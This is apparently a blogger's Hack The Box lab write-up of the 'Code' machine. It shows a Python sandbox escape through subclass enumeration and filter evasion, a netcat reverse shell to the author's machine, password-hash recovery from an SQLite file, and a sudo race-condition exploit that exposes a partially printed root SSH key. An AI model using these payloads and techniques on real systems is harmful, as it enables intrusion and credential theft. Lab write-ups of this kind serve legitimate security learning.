![[Hack The Box/Code/IntroImage.png]]
## Summary of Exploitation
Hey all, today I pwned Code from Hack the Box. This was an easy machine that actually stumped me for a bit. An exposed high numbered port webserver contained a sandboxed python interpreter with a very strict filtering system. I was able to achieve RCE by finding Popen among the subclasses and danced around the filters to execute it. After gaining a shell, I found user credentials in the webservers db file. Vulnerable sudo privs on a, what I assumed to be, self programmed archive binary allowed me to exploit a race condition which allowed me to archive the root directory. All I needed to do was extract the id_rsa and I had a root shell. Lets get started!
## Recon Phase
As always, I start with my tried and true nmap scan
`sudo nmap -sC -sV -p- --min-rate 10000 10.129.231.240 -Ao nmap-out`
```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 17:32 EDT
Nmap scan report for 10.129.231.240
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 21.10 ms 10.10.14.1
2 21.38 ms 10.129.231.240
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds
```
| Port | Protocol | Protocol Details |
| ---- | -------- | ---------------- |
| 22 | ssh | OpenSSH 8.2p1 |
| 5000 | http | Gunicorn 20.0.4 |
Looks like we have a pretty standard issue ubuntu web server, with the exception of the webserver being on port 5000.
The webserver is python based Gunicorn server. I'll take note of that and check it out by adding it to my /etc/hosts file.
> [!NOTE] Note:
> The Python Code Editor only worked for me on Firefox
![[PythonCodeEditor.png]]
Looks like we have a plain and simple python code editor. Along with the ability to login, register. Clicking about displays a modal explaining what Code is.
![[About_modal_code.png]]
Writing and running code directly in the browser speaks to me. Before I go sending off arbitrary code, I'll check out the register feature and login.
![[register_code.png]]
Now I'll login as cn0x.
![[LoggedIn_code.png]]
Now I have the ability to save code and reference it.
![[SaveCode_code.png]]
![[CodeSaved_code.png]]
![[MyCodes_code.png]]
I tried inputting some XSS lines and nothing worked. I noticed that when I loaded some code the url shows a parameter.
```
http://code.htb:5000/?code_id=2
```
I tried exploiting some RID brute forcing by inputting different numbers and nothing changed. I'll run feroxbuster and see if there are any hidden directories.
![[feroxbuster_code.png]]
Nothing ground-breaking. After some more light recon, I think it's safe to assume my next step is to try and escape the sandbox.
## Exploitation Phase
I'll start with something simple, like running some os.system commands.
![[ossystem_cmd_code.png]]
So there is definitely some filtering in place, Hacktricks has an entire section about breaking out of Python sandboxes [here](https://hacktricks.boitatech.com.br/misc/basic-python/bypass-python-sandboxes).
I first tried to execute code with already imported libraries, such as Popen, system, pty.spawn etc. but I just kept getting "Use of restricted keywords is not allowed." It was until I started seeing that line in my dreams that I realized it was time for a new approach. I did some reading deeper in the article and learned that I can discover dangerous functions loaded in memory by printing the classes. I can then execute them using the offset.
![[noBuiltins_code.png]]
I don't know the number associated with a dangerous function, so I'll have to find one. On the browser, I'll run a command to print all the classes.
```
s = ().__class__.__bases__[0].__subclasses__()
print(s)
```
![[PrintClasses_code.png]]
Excellent, finally something useful. Now I need to print the number associated with a dangerous function, the index of the function. I can do that by doing this:
First I need to loop through the indices of s.
```
s = ().__class__.__bases__[0].__subclasses__()
for i in range(len(s)):
```
I can use len to get the number of interables in the list of subclasses. and I can use range to make it iterable.
Now when I print, I'll get the numbers from 0 to the end.
```
s = ().__class__.__bases__[0].__subclasses__()
for i in range(len(s)):
print(i)
```
![[numbers_code.png]]
Now all I need to do is (HOPE) associate one of these numbers to a dangerous function. I can do that by printing `i, s[i]`. and adding an if statement to check and see if the dangerous function matches anything in the list. Keep in mind to convert `s[i]` to a string.
```
s = ().__class__.__bases__[0].__subclasses__()
for i in range(len(s)):
if 'system' in str(s[i]).lower():
print(i, s[i])
```
![[noObduscation_code.png]]
Well, It's got to be the word system, I'll obfuscate the word system and hopefully that will bypass this filter.
```
s = ().__class__.__bases__[0].__subclasses__()
for i in range(len(s)):
if 's'+'y'+'stem' in str(s[i]).lower():
print(i, s[i])
```
![[Blank_code.png]]
blank, but this is good, system in not available to us, so I'll replace system and check for popen.
![[PoepnAllowed_code.png]]
Awesome! we can potentially access popen covertly using `s[317]`. Now I need to craft the POC command.
```
s = ().__class__.__bases__[0].__subclasses__()
print(s[317](['id'], stdout=subprocess.PIPE).communicate())
```
![[finalCommandError.png]]
![[AngryLaptop.gif]]
I prayed that it wasn't the command being caught by the filter and actually just the word "subprocess". It's not a string, so I cant simply obfuscate it, I actually had to do some research. Turns out you can print subprocess.PIPE and it returns -1, so instead of subprocess.PIPE we can just replace it with -1.
```
s = ().__class__.__bases__[0].__subclasses__()
print(s[317](['id'], stdout=-1).communicate())
```
![[CodeExecution_code.png]]
That is a sight for sore eyes, literally. I can alter the code to achieve a shell as app-production.
```
s = ().__class__.__bases__[0].__subclasses__()
cmd = '/bin/sh'
arg = 'busybox nc 10.10.14.115 9001 -e /bin/bash'
print(s[317]([cmd, '-c', arg], stdout=-1).communicate())
```
and set a listener
```
nc -lvnp 9001
```
And we finally have a shell as app-production.
```
> sudo nc -lvnp 9001
[sudo] password for kali:
listening on [any] 9001 ...
connect to [10.10.14.115] from (UNKNOWN) [10.129.231.240] 55296
id
uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)
```
I can spawn a fully interactable shell using my [[Fully Functional Shell Trick for zsh|tty trick]].
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl ^Z
stty raw -echo && fg
reset
screen
export TERM=xterm
```
and grab the user flag!
```
app-production@code:~/app$ cd ..
app-production@code:~$ ls
app user.txt
app-production@code:~$ cat user.txt
31e13************************
```
## Priv-Esc to Martin
I remember there being a way to register my account, I assume there must be a database storing those creds, I looked around and found it!
```
app-production@code:~/app/instance$ ls -la
total 24
drwxr-xr-x 2 app-production app-production 4096 Apr 13 21:47 .
drwxrwxr-x 6 app-production app-production 4096 Feb 20 12:10 ..
-rw-r--r-- 1 app-production app-production 16384 Apr 13 23:20 database.db
```
I'll run strings on it and check for creds!
```
app-production@code:~/app/instance$ strings database.db
SQLite format 3
tablecodecode
CREATE TABLE code (
id INTEGER NOT NULL,
user_id INTEGER NOT NULL,
code TEXT NOT NULL,
name VARCHAR(100) NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(user_id) REFERENCES user (id)
7tableuseruser
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(80) NOT NULL,
password VARCHAR(80) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
indexsqlite_autoindex_user_1user
Mmartin3de6f3***************************/
#Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3
martin
# development
print("Functionality test")Test
```
Awesome! an md5 hash for the user martin who has a home folder on this machine.
I'll check to see if the hash cracks on crackstation.
![[crackstation_code.png]]
Nice! Now I just need to check for password reuse using SSH.
```
> ssh
[email protected]
[email protected]'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun 13 Apr 2025 11:38:55 PM UTC
System load: 0.09
Usage of /: 51.2% of 5.33GB
Memory usage: 15%
Swap usage: 0%
Processes: 238
Users logged in: 0
IPv4 address for eth0: 10.129.231.240
IPv6 address for eth0: dead:beef::250:56ff:feb0:d5f3
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun Apr 13 23:38:56 2025 from 10.10.14.115
martin@code:~$
```
We are in as Martin!
## Priv-Esc to root
Alright, First I'll check and see if Martin has any sudo privs using `sudo -l`
```
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
```
Looks like Martin can run some custom bash script as root. I'll cat the script and see what it does.
```
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
```
Looks like this script checks for a json file, then it sets some variables, one restricting paths to home and var, and another checking if the path in "directories to archive" has any `../`. Once all the checks pass, the script runs a binary called backy.
I'll run file on backy to see what it is.
```
martin@code:~$ file /usr/bin/backy
/usr/bin/backy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=RWqjP0EHFxWRL9SxAzvR/3-TEtzva44_xlRAMnq1A/OtYOmubKIkGHYUBMolai/2rhkvEyKOF9Rp_sQ7C0l, not stripped
```
looks like backy is a go binary, there is no mention of it online which leads me to believe its custom. Executing the binary on my own shows that its on version 1.2 and looking for a json file.
```
martin@code:~$ backy
2025/04/14 00:54:54 🍀 backy 1.2
2025/04/14 00:54:54 ❗ No task configuration provided
2025/04/14 00:54:54 🔰 Usage: backy <task.json>
```
Looking around in martins home dir we see all the pieces and backups involved in this process, including the json file, `task.json`
```
martin@code:~/backups$ ls -la
total 20
drwxr-xr-x 2 martin martin 4096 Apr 14 00:50 .
drwxr-x--- 6 martin martin 4096 Apr 8 11:50 ..
-rw-r--r-- 1 martin martin 5879 Apr 14 00:50 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 martin martin 181 Apr 14 00:50 task.json
```
Looking at the contents of task.json, the idea is very clear.
```
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
```
My first idea is I could abuse symlinks, this would theoretically allow me to archive a directory that isn't written as root, but is linked to root. I can do that by making these changes to the task.json file.
```
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/martin/backups/symlinkDir"
]
}
```
Now create a symlink from my symlinkDir to root.
```
martin@code:~/backups$ mkdir symlinkDir
martin@code:~/backups$ ln -s /root /home/martin/backups/symlinkDir/
```
Now run it.
```
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
2025/04/14 01:06:06 🍀 backy 1.2
2025/04/14 01:06:06 📋 Working with task.json ...
2025/04/14 01:06:06 💤 Nothing to sync
2025/04/14 01:06:06 📤 Archiving: [/home/martin/backups/symlinkDir]
2025/04/14 01:06:06 📥 To: /home/martin/backups ...
2025/04/14 01:06:06 📦
```
```
drwxr-xr-x 3 martin martin 4096 Apr 14 01:06 .
drwxr-x--- 6 martin martin 4096 Apr 8 11:50 ..
-rw-r--r-- 1 martin martin 5879 Apr 14 01:00 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root root 185 Apr 14 01:06 code_home_martin_backups_symlinkDir_2025_April.tar.bz2
drwxrwxr-x 2 martin martin 4096 Apr 14 01:04 symlinkDir
-rw-r--r-- 1 martin martin 169 Apr 14 01:06 task.json
```
I have my backup, I just need to unzip it and see if it worked.
```
martin@code:~/backups$ tar -xvjf code_home_martin_backups_symlinkDir_2025_April.tar.bz2 -C /tmp
home/martin/backups/symlinkDir/
home/martin/backups/symlinkDir/root
```
So far not promising, since there wasn't a spill of the other files in root. and when I verified, I got permissions issues.
```
martin@code:/tmp/home/martin/backups/symlinkDir$ ls
root
martin@code:/tmp/home/martin/backups/symlinkDir$ cd root
-bash: cd: root: Permission denied
```
I tried this idea for a while with some different tweaks, but made no progress. I scratched my head for a bit here. I stepped away and came back another day.
I revisited the backy.sh script and noticed a potential race condition exploit. This line right here is the culprit.
```
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
```
The bad json is being overwritten with the good json, then backy is being called as root. If I run a script that just constantly copies a json file that archives the root ssh dir to task.json, and spam the command, I should be able to just bypass the script. lets give it try, first I'll draft the evil task.
```
{
"destination": "/tmp",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/root/.ssh"
]
}
```
And here is the loop that will constantly set the json file.
```
while true; do
cp evil.json task.json
done
```
Now, in separate terminal, I just need to run the script and spam the command.
![[RaceCondition.gif]]
Now I just need to unzip the archive and I should have the root id_rsa.
```
martin@code:/tmp$ tar -xvjf code_root_.ssh_2025_April.tar.bz2 -C /tmp
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
martin@code:/tmp$ cat root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvxPw90VRJajgkjwxZqXr865V8He/HNHVlhp0CP36OsKSi0DzIZ4K
sqfjTi/WARcxLTe4lkVSVIV25Ly5M6EemWeOKA6vdONP0QUv6F1xj8f4eChrdp7BOhRe0+
zWJna8dYMtuR2K0Cxbdd+qvM7oQLPRelQIyxoR4unh6wOoIf4EL34aEvQDux+3GsFUnT4Y
MNljAsxyVFn3mzR7nUZ8BAH/Y9xV/KuNS
```
Nice! All that's left is to copy it over to my machine and ssh as root.
```
> vi id_rsa
> chmod 600 id_rsa
> ssh -i id_rsa
[email protected]
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon 14 Apr 2025 01:29:35 AM UTC
System load: 0.0
Usage of /: 51.4% of 5.33GB
Memory usage: 14%
Swap usage: 0%
Processes: 238
Users logged in: 1
IPv4 address for eth0: 10.129.231.240
IPv6 address for eth0: dead:beef::250:56ff:feb0:d5f3
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Apr 14 01:29:36 2025 from 10.10.14.115
root@code:~#
```
And grab the root.txt
```
root@code:~# cat /root/root.txt
0a9f8**************************
```
Well I'm glad I saw it through, My free hacking time is limited these days. This lab needed to be finished because the paths were just too cool. I hope you enjoyed and learned something. Happy Hacking!